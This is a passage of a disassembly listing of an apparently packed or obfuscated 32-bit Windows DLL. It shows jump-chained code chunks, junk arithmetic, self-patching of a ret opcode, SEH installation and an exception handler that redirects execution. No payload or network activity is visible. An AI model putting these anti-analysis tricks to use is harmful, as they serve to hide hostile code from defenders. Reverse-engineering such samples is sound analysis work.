FUNCTION CHUNK FOR sub_10013688 loc_1001AA1C: ; CODE XREF: sub_10013688+Ej cmp dword ptr [ebp-10h], 1 push offset loc_10016C31 jmp loc_100180E0 ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015945 loc_1001AA2A: ; CODE XREF: sub_10015945:loc_1001C9B1j jz loc_1001AA3D loc_1001AA30: ; CODE XREF: sub_100190DC-4A54j push ebp mov eax, [ebp-20h] call sub_1001ACEF pop ecx ; END OF FUNCTION CHUNK FOR sub_10015945 ; START OF FUNCTION CHUNK FOR sub_10015995 loc_1001AA3A: ; CODE XREF: sub_10015995:loc_10019FC9j mov [ebp-20h], eax loc_1001AA3D: ; CODE XREF: sub_10015B5D:loc_10018420j ; sub_10015945:loc_1001AA2Aj jno loc_10018005 test byte ptr [ebp-7], 8 jmp loc_10018013 ; END OF FUNCTION CHUNK FOR sub_10015995 ; --------------------------------------------------------------------------- locret_1001AA4C: ; CODE XREF: an.kk9rg:100130F1j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016A1B loc_1001AA4D: ; CODE XREF: sub_10016A1B+42AEj sub edi, 37C8F37h or edi, 2EFF11CCh test edi, 1000000h jmp loc_1001D9CC ; END OF FUNCTION CHUNK FOR sub_10016A1B ; =============== S U B R O U T I N E ======================================= sub_1001AA64 proc near ; CODE XREF: sub_10013389:loc_1001464Ep ; an.kk9rg:1001D304j ; FUNCTION CHUNK AT 10018601 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov [ecx], eax push offset sub_100140AF jmp loc_10018601 sub_1001AA64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_1001AA74 proc near ; CODE XREF: sub_1001A6F7:loc_100181A0j retn sub_1001AA74 endp ; --------------------------------------------------------------------------- loc_1001AA75: ; CODE XREF: an.kk9rg:1001CF71j jmp loc_100140C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_1001AA7A: ; CODE XREF: sub_10017A58+CB4j jmp loc_100152DC ; END OF FUNCTION CHUNK FOR sub_10017A58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_1001AA7F: ; CODE XREF: sub_10013061+443Fj jmp loc_100175F5 ; END OF FUNCTION CHUNK FOR sub_10013061 ; =============== S U B R O U T I N E ======================================= sub_1001AA84 proc near ; DATA XREF: an.kk9rg:loc_10018D00o ; FUNCTION CHUNK AT 100151F3 SIZE 00000005 BYTES inc dword ptr [ebp-1Ch] jmp loc_100151F3 sub_1001AA84 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001498A loc_1001AA8C: ; CODE XREF: sub_1001498A+Cj ; sub_1001ADAE+Cj inc dword ptr [ebp-18h] call sub_1001A5EB loc_1001AA94: ; CODE XREF: sub_1001A822+1j jmp loc_1001592A ; END OF FUNCTION CHUNK FOR sub_1001498A ; --------------------------------------------------------------------------- jz loc_10014F49 jmp loc_1001DDCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D43B loc_1001AAA4: ; CODE XREF: sub_1001D43B-5FB9j jno loc_100179D8 ; END OF FUNCTION CHUNK FOR sub_1001D43B ; =============== S U B R O U T I N E ======================================= sub_1001AAAA proc near ; CODE XREF: an.kk9rg:100193DCp xchg ecx, [esp+0] pop ecx mov ebp, esp push ebx mov ebx, ecx jmp loc_10018476 sub_1001AAAA endp ; =============== S U B R O U T I N E ======================================= sub_1001AAB8 proc near ; CODE XREF: sub_10017EFB-32B7p xchg eax, [esp+0] pop eax xor esi, 171DC900h add esi, ebp add esi, 14DF835Ah push offset sub_10014F93 jmp nullsub_203 sub_1001AAB8 endp ; --------------------------------------------------------------------------- jo loc_1001CBAC cdq ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001AADB: ; CODE XREF: sub_10013389+198j jmp sub_10017643 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001AAE0: ; CODE XREF: sub_1001ABFD+24FAj pop ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001AAE3 proc near ; CODE XREF: sub_1001701B-27F3p ; sub_1001603C+4p ; FUNCTION CHUNK AT 10019D34 SIZE 00000018 BYTES push ebp mov ebp, esp jmp loc_10019D34 sub_1001AAE3 endp ; --------------------------------------------------------------------------- loc_1001AAEB: ; CODE XREF: an.kk9rg:10015F6Cj cdq ; START OF FUNCTION CHUNK FOR sub_1001590F loc_1001AAEC: ; CODE XREF: sub_1001590F+15j rol edi, 19h test edi, 40000h jmp loc_1001D9F7 ; END OF FUNCTION CHUNK FOR sub_1001590F ; --------------------------------------------------------------------------- xor ecx, 0E986439Bh jmp loc_10019FD9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100183B7 loc_1001AB05: ; CODE XREF: sub_100183B7:loc_10017D2Bj mov ecx, [esp-8+arg_14] mov dword ptr [ecx], 10001h lea eax, loc_1001AB29 mov [ecx+0B8h], eax pop ecx xor eax, eax retn ; END OF FUNCTION CHUNK FOR sub_100183B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B956 loc_1001AB1F: ; CODE XREF: sub_1001B956+22D4j jmp loc_1001AF78 ; END OF FUNCTION CHUNK FOR sub_1001B956 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DC70 loc_1001AB24: ; CODE XREF: sub_1001DC70-7DC8j jmp nullsub_170 ; END OF FUNCTION CHUNK FOR sub_1001DC70 ; --------------------------------------------------------------------------- loc_1001AB29: ; DATA XREF: sub_100183B7+2758o xor eax, eax jmp loc_1001D75C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_1001AB30: ; CODE XREF: sub_1001537B:loc_10019C4Aj jz loc_10018D41 ; END OF FUNCTION CHUNK FOR sub_1001537B ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001AB36: ; CODE XREF: sub_10013389+33j jmp loc_100152E7 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- cmp edi, edx jmp loc_1001B47D ; --------------------------------------------------------------------------- test al, al jz loc_100198B7 jmp loc_1001D3EE ; =============== S U B R O U T I N E ======================================= sub_1001AB4F proc near ; CODE XREF: an.kk9rg:10015BD7j ; sub_100136D7:loc_1001A637p ; FUNCTION CHUNK AT 1001B744 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx inc dword ptr [ebp-4] jmp loc_1001B744 sub_1001AB4F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001AB5B proc near ; CODE XREF: sub_100193F2-20C7p call sub_1001B357 push ecx jmp loc_10017D2B sub_1001AB5B endp ; --------------------------------------------------------------------------- loc_1001AB66: ; CODE XREF: an.kk9rg:loc_1001A556j test ecx, ebp jmp loc_1001B27D ; --------------------------------------------------------------------------- adc ebx, 0E126DBEh mov esi, [ebx] jmp sub_10013BAD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_1001AB7A: ; CODE XREF: sub_1001893F:loc_10017C7Fj sub ebp, 0FCE85908h test ecx, esi jmp loc_10017CC8 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- loc_1001AB87: ; CODE XREF: an.kk9rg:10016974j test ecx, 72823201h jmp loc_100175AE ; --------------------------------------------------------------------------- push eax push ebx push 457AD6B1h ; START OF FUNCTION CHUNK FOR sub_1001C799 loc_1001AB99: ; CODE XREF: sub_1001C799:loc_1001C651j pop ebx jmp loc_10013086 ; END OF FUNCTION CHUNK FOR sub_1001C799 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100138FD loc_1001AB9F: ; CODE XREF: sub_100138FD:loc_1001600Aj call sub_10015690 ; END OF FUNCTION CHUNK FOR sub_100138FD ; START OF FUNCTION CHUNK FOR sub_10016B92 loc_1001ABA4: ; CODE XREF: sub_10016B92+1820j jmp loc_10018F5D ; END OF FUNCTION CHUNK FOR sub_10016B92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017667 loc_1001ABA9: ; CODE XREF: sub_10017667-2BF6j jmp loc_1001548E ; END OF FUNCTION CHUNK FOR sub_10017667 ; =============== S U B R O U T I N E ======================================= sub_1001ABAE proc near ; CODE XREF: an.kk9rg:10016F49j ; sub_100180C2+16A5p xchg ebx, [esp+0] pop ebx pop ebp retn sub_1001ABAE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001ABB4 proc near ; CODE XREF: sub_1001B8D3-42BDj ; sub_100180C2+169Bp ; FUNCTION CHUNK AT 100174A6 SIZE 00000005 BYTES mov dword ptr [eax], 0 jmp loc_100174A6 sub_1001ABB4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_1001ABBF: ; CODE XREF: sub_100142E8:loc_10018835j mov eax, 6 sub eax, [ebp-0Ch] mov [ebp-0Ch], eax jmp loc_10019631 ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001ABCF: ; CODE XREF: sub_10015B5D:loc_10013161j cmp dword ptr [ebp-1Ch], 66h jnz loc_1001D843 mov eax, 6 jmp loc_1001660C ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100181E1 loc_1001ABE3: ; CODE XREF: sub_100181E1:loc_100146C7j popf xor edi, 3C6D205Bh jmp sub_1001DBDB ; END OF FUNCTION CHUNK FOR sub_100181E1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_79. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C185 loc_1001ABF0: ; CODE XREF: sub_1001C185-4BF6j ; sub_1001B3CA-3D96j ... jmp loc_10014DF9 ; END OF FUNCTION CHUNK FOR sub_1001C185 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_1001ABF5: ; CODE XREF: sub_1001C2D8-6464j ; sub_1001B3CA+7j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D461 loc_1001ABF8: ; CODE XREF: sub_1001D461-4FBj jmp loc_10014F74 ; END OF FUNCTION CHUNK FOR sub_1001D461 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001ABFD proc near ; CODE XREF: sub_10018FE5+4p ; sub_1001B3A1-1114p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10013667 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014120 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014428 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10014600 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10014865 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10014B2F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100151A3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017701 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 10017912 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10017987 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017D9D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100188CB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018EF8 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 10019367 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019435 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 100194F6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10019998 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001A376 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 1001A779 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AAE0 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 1001AC9B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B32B SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001B7D9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B9FE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C300 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001CBCF SIZE 0000001C BYTES ; FUNCTION CHUNK AT 1001CE70 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001D0E5 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001D104 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001DA9D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001DF1F SIZE 00000005 BYTES push ecx mov ecx, ebp xchg ecx, [esp+0] mov ebp, esp jmp loc_10019435 sub_1001ABFD endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ebp, esi jmp sub_10019473 ; --------------------------------------------------------------------------- push ebx call sub_100170BC ; START OF FUNCTION CHUNK FOR sub_1001B8D3 loc_1001AC17: ; CODE XREF: sub_1001B8D3+1ED6j jmp loc_1001788A ; END OF FUNCTION CHUNK FOR sub_1001B8D3 ; --------------------------------------------------------------------------- loc_1001AC1C: ; DATA XREF: sub_1001ABFD-125Fo add ebx, 0DFC0FD34h xchg ebx, [esp] jmp sub_1001534D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_141. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_1001AC2B: ; CODE XREF: sub_10015D9E:loc_10016551j jnz loc_10015FDD jmp loc_10018D57 ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001AC36: ; CODE XREF: sub_10013389+2199j jno loc_1001D4F4 ror ecx, 1Bh shl edi, 1Dh jmp loc_1001D67E ; --------------------------------------------------------------------------- loc_1001AC47: ; CODE XREF: sub_10013389:loc_10015B9Fj jz loc_10013967 jmp loc_10016467 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- jnz sub_10016323 jmp sub_10019293 ; --------------------------------------------------------------------------- cmp ebp, 4A95FEF1h jmp loc_10014C9E ; --------------------------------------------------------------------------- jg loc_100193AB jmp sub_10018776 ; =============== S U B R O U T I N E ======================================= sub_1001AC73 proc near ; CODE XREF: an.kk9rg:10019948p ; an.kk9rg:1001B8CEj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 100156AE SIZE 0000001D BYTES ; FUNCTION CHUNK AT 10016238 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10018141 SIZE 00000016 BYTES xchg eax, [esp+0] pop eax xchg edi, [esp+0] mov ebp, esp jmp loc_100156AE sub_1001AC73 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg ebp, [ebx] jmp sub_100190EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013310 loc_1001AC88: ; CODE XREF: sub_10013310+8930j cmp ds:dword_100181AC, 0 jnz loc_100133AA jmp loc_10017151 ; END OF FUNCTION CHUNK FOR sub_10013310 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_63. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001AC9B: ; CODE XREF: sub_1001ABFD+1709j jmp loc_10014428 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017217 loc_1001ACA0: ; CODE XREF: sub_10017217+Bj jmp loc_1001A9D4 ; END OF FUNCTION CHUNK FOR sub_10017217 ; =============== S U B R O U T I N E ======================================= sub_1001ACA5 proc near ; DATA XREF: sub_1001985B-2E0Fo ; FUNCTION CHUNK AT 1001554D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 10017C47 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001DDEE SIZE 0000001E BYTES push 0E3CB9FC5h pop ecx rol ecx, 11h cmp ecx, 9BB543EFh jmp loc_10017C47 sub_1001ACA5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001ACB9: ; CODE XREF: an.kk9rg:10015036j mov eax, [ebp-30h] push ebx push eax pop ebx xchg ebx, [esp] ; START OF FUNCTION CHUNK FOR sub_10016A1B loc_1001ACC2: ; CODE XREF: sub_10016A1B:loc_100139C7j push edi push 3942E481h pop edi jmp loc_1001AA4D ; END OF FUNCTION CHUNK FOR sub_10016A1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001ACCE: ; CODE XREF: sub_100193F2-61AFj call sub_1001D076 loc_1001ACD3: ; CODE XREF: sub_1001D951-304Dj jmp loc_1001D609 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- loc_1001ACD8: ; CODE XREF: an.kk9rg:10013B84j jmp loc_1001AF34 ; --------------------------------------------------------------------------- loc_1001ACDD: ; DATA XREF: sub_10013389+158o add dword ptr [ebp-8], 4 jmp loc_10016487 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001ACE6: ; CODE XREF: sub_10013389+152j add dword ptr [ebp-8], 2 jmp loc_100162F8 ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001ACEF proc near ; CODE XREF: an.kk9rg:10015B6Bj ; sub_10015945+50EFp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 10017DE3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10018493 SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFECh mov [ebp+var_4], eax mov eax, [ebp+var_4] jmp loc_10018493 sub_1001ACEF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001AD00: ; CODE XREF: sub_10016167:loc_10018ADAj mov edx, ecx xchg edx, [esp+0] push ebx call sub_10016C77 loc_1001AD0B: ; CODE XREF: sub_10013389+9AE2j jmp loc_1001C260 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B8D3 loc_1001AD10: ; CODE XREF: sub_1001B8D3-4E36j ; an.kk9rg:loc_10017B37j jmp loc_1001D79D ; END OF FUNCTION CHUNK FOR sub_1001B8D3 ; --------------------------------------------------------------------------- add ebp, edi sbb eax, edx jmp sub_10017273 ; --------------------------------------------------------------------------- loc_1001AD1E: ; CODE XREF: an.kk9rg:10015AFFj jl loc_10014E9C ; =============== S U B R O U T I N E ======================================= sub_1001AD24 proc near ; CODE XREF: an.kk9rg:10018DF9p xchg edi, [esp+0] pop edi push eax ror eax, 18h mov ds:dword_1001B72C, eax retn sub_1001AD24 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001AD33: ; CODE XREF: sub_100136D7+163Ej mov [ebp+0], edx ; END OF FUNCTION CHUNK FOR sub_100136D7 ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001AD36: ; CODE XREF: sub_10016167-1BE1j ; sub_100136D7:loc_10014909j ... jmp loc_1001C1FD ; --------------------------------------------------------------------------- loc_1001AD3B: ; CODE XREF: sub_10016167-43Bj ; sub_100136D7+9199j xchg eax, [esp+0] loc_1001AD3E: ; CODE XREF: an.kk9rg:loc_10013633j mov ecx, eax pop eax call sub_10016372 loc_1001AD46: ; CODE XREF: an.kk9rg:1001B298j jmp loc_1001DEE9 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001AD4B: ; CODE XREF: sub_100193F2:loc_1001DA32j call sub_1001B956 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; START OF FUNCTION CHUNK FOR sub_10015C14 loc_1001AD50: ; CODE XREF: sub_10015C14+15BBj jmp loc_1001889A ; END OF FUNCTION CHUNK FOR sub_10015C14 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_1001AD55: ; CODE XREF: sub_10017A58-19AFj jnz loc_1001A48D jmp loc_100192CB ; END OF FUNCTION CHUNK FOR sub_10017A58 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_156. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_1001AD61: ; CODE XREF: sub_1001CF40+15j jmp loc_10017937 ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001AD66: ; CODE XREF: sub_100136D7:loc_1001DEEFj jnz loc_1001D595 jmp loc_10015E16 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- loc_1001AD71: ; DATA XREF: sub_10018066:loc_10018452o push edx push 6BCA773h pop edx xor edx, 0DBF08484h add edx, 32B5146Dh jmp loc_10016D17 ; --------------------------------------------------------------------------- loc_1001AD89: ; CODE XREF: an.kk9rg:10019C6Cj push ecx ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001AD8A: ; CODE XREF: sub_10016D66:loc_10014F5Dj mov ecx, edx xchg ecx, [esp+0] push eax call sub_1001BB87 mov al, 1 pop edx call edx ; GetModuleHandleA jmp loc_10019149 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001AD9F: ; CODE XREF: sub_10013389:loc_10014653j call sub_1001701B loc_1001ADA4: ; CODE XREF: sub_10016D66+7116j jmp loc_10019446 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001701B loc_1001ADA9: ; CODE XREF: sub_1001701B+Dj jmp loc_10016362 ; END OF FUNCTION CHUNK FOR sub_1001701B ; =============== S U B R O U T I N E ======================================= sub_1001ADAE proc near ; CODE XREF: an.kk9rg:10015B72j ; sub_10015086+466Dp ; FUNCTION CHUNK AT 1001B3FE SIZE 0000000C BYTES xchg ecx, [esp+0] pop ecx call sub_100141F5 cmp eax, [ebp-8] jnz loc_1001AA8C jmp loc_1001B3FE sub_1001ADAE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001ADC5: ; CODE XREF: sub_10013389:loc_1001D452j jz loc_1001DA51 ; END OF FUNCTION CHUNK FOR sub_10013389 ; START OF FUNCTION CHUNK FOR sub_100199B5 loc_1001ADCB: ; CODE XREF: sub_100199B5+19E7j jmp sub_100190DC ; END OF FUNCTION CHUNK FOR sub_100199B5 ; --------------------------------------------------------------------------- adc ebx, 0DCE4E873h jns loc_100155EE jmp loc_1001DA46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013BB8 loc_1001ADE1: ; CODE XREF: sub_10013BB8:loc_10013BCAj mov eax, [eax] cmp byte ptr [eax], 0 jnz loc_1001B1C3 jmp loc_10013977 ; END OF FUNCTION CHUNK FOR sub_10013BB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_1001ADF1: ; CODE XREF: sub_1001B5A3-83E4j mov edx, ebp jmp loc_10017B13 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_1001ADF8: ; CODE XREF: sub_1001456F:loc_10016DECj ; sub_1001456F+8348j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_1001DF1C jmp loc_10014AE9 ; END OF FUNCTION CHUNK FOR sub_1001456F ; --------------------------------------------------------------------------- mov ds:off_10002000, eax lea eax, loc_100149BF mov byte ptr [eax], 0C3h jmp loc_100149BF ; --------------------------------------------------------------------------- loc_1001AE1D: ; DATA XREF: vyridizn:10002004o jz loc_1001A4AC mov eax, ds:dword_1001401C jmp loc_1001B5B6 ; --------------------------------------------------------------------------- locret_1001AE2E: ; CODE XREF: an.kk9rg:1001737Dj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001AE2F: ; CODE XREF: sub_10015B5D+7CF5j jmp loc_1001B9B6 ; --------------------------------------------------------------------------- loc_1001AE34: ; CODE XREF: sub_10015B5D:loc_1001475Ej mov ebx, [ecx] sub ebp, 51F9D856h jmp loc_1001C484 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; =============== S U B R O U T I N E ======================================= sub_1001AE41 proc near ; DATA XREF: sub_1001B357+7o ; FUNCTION CHUNK AT 100199EE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B342 SIZE 0000000B BYTES mov large fs:0, esp mov eax, [eax] mov eax, 1 jmp loc_100199EE sub_1001AE41 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- add eax, offset nullsub_5 push offset sub_1001D221 jmp locret_100132EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_1001AE64: ; CODE XREF: sub_1001456F+5021j jbe loc_1001C76D jb loc_1001B6DB add esi, 17F7AACh mov ebp, ecx jmp loc_1001DF17 ; END OF FUNCTION CHUNK FOR sub_1001456F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_159. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001AE7E: ; CODE XREF: sub_10013389+7F1Bj jmp nullsub_174 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C185 loc_1001AE83: ; CODE XREF: sub_1001C185-5ED3j jmp loc_10016264 ; END OF FUNCTION CHUNK FOR sub_1001C185 ; --------------------------------------------------------------------------- loc_1001AE88: ; CODE XREF: an.kk9rg:1001D13Ej mov eax, [ebp+8] or dword ptr [eax-8], 8 jmp loc_100190F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_1001AE94: ; CODE XREF: sub_10013688+4j ; sub_10013389+3DFAj jno loc_1001CD13 cmp dword ptr [ebp-10h], 0 jnz loc_10014E46 mov eax, [ebp+8] jmp loc_1001CE13 ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- loc_1001AEAC: ; CODE XREF: an.kk9rg:loc_10017BEFj mov eax, 26F2C8CDh and esi, 7A53B493h jmp loc_100157EE ; =============== S U B R O U T I N E ======================================= sub_1001AEBC proc near ; CODE XREF: an.kk9rg:10014B5Bj ; sub_100190EB+3BDFp ; FUNCTION CHUNK AT 1001CEB8 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx jnz loc_1001C7B0 mov eax, [ebp+8] or dword ptr [eax-8], 4 push offset loc_1001D320 jmp loc_1001CEB8 sub_1001AEBC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_1001AED7: ; CODE XREF: sub_10018C4D:loc_10017ACDj mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_1001B7CA mov eax, [ebp-4] jmp loc_1001CC8A ; END OF FUNCTION CHUNK FOR sub_10018C4D ; --------------------------------------------------------------------------- cdq cmp edx, ecx jmp loc_1001A6CC ; --------------------------------------------------------------------------- loc_1001AEF4: ; CODE XREF: an.kk9rg:10013962j cdq cmp eax, 290DBC0Ch jmp loc_1001B2F0 ; --------------------------------------------------------------------------- loc_1001AF00: ; DATA XREF: sub_10017442+3o xchg ebx, [esp] call sub_10017394 loc_1001AF08: ; CODE XREF: an.kk9rg:1001C21Ej push 8EECEF4Bh pop edi sub edi, 0AA8BCF87h add edi, 0CE358864h ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_1001AF1A: ; CODE XREF: sub_10018E79:loc_1001B565j ; sub_10017394:loc_1001DE0Cj or edi, 0B6592CC5h xor edi, 5DA657DBh add edi, 24879B89h xchg edi, [esp+0] jmp loc_10016A57 ; END OF FUNCTION CHUNK FOR sub_10018E79 ; --------------------------------------------------------------------------- loc_1001AF34: ; CODE XREF: an.kk9rg:loc_1001ACD8j rol ebx, 1 or ebx, 0C70243Bh test ebx, 4000h jmp loc_10014AE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001AF47: ; CODE XREF: sub_10013389:loc_1001CB43j pop ebx mov eax, [ebp-4] movzx eax, word ptr [eax+14h] add eax, [ebp-4] push edi mov edi, edx xchg edi, [esp-4+arg_0] jmp loc_10016509 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_1001AF5D: ; CODE XREF: sub_1001504E:loc_1001505Cj mov ebp, esp push edi mov edi, ecx xchg edi, [esp+0] mov [ebp-4], eax mov eax, [ebp-4] mov al, [eax] jmp loc_10019838 ; END OF FUNCTION CHUNK FOR sub_1001504E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_67. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001753F loc_1001AF73: ; CODE XREF: 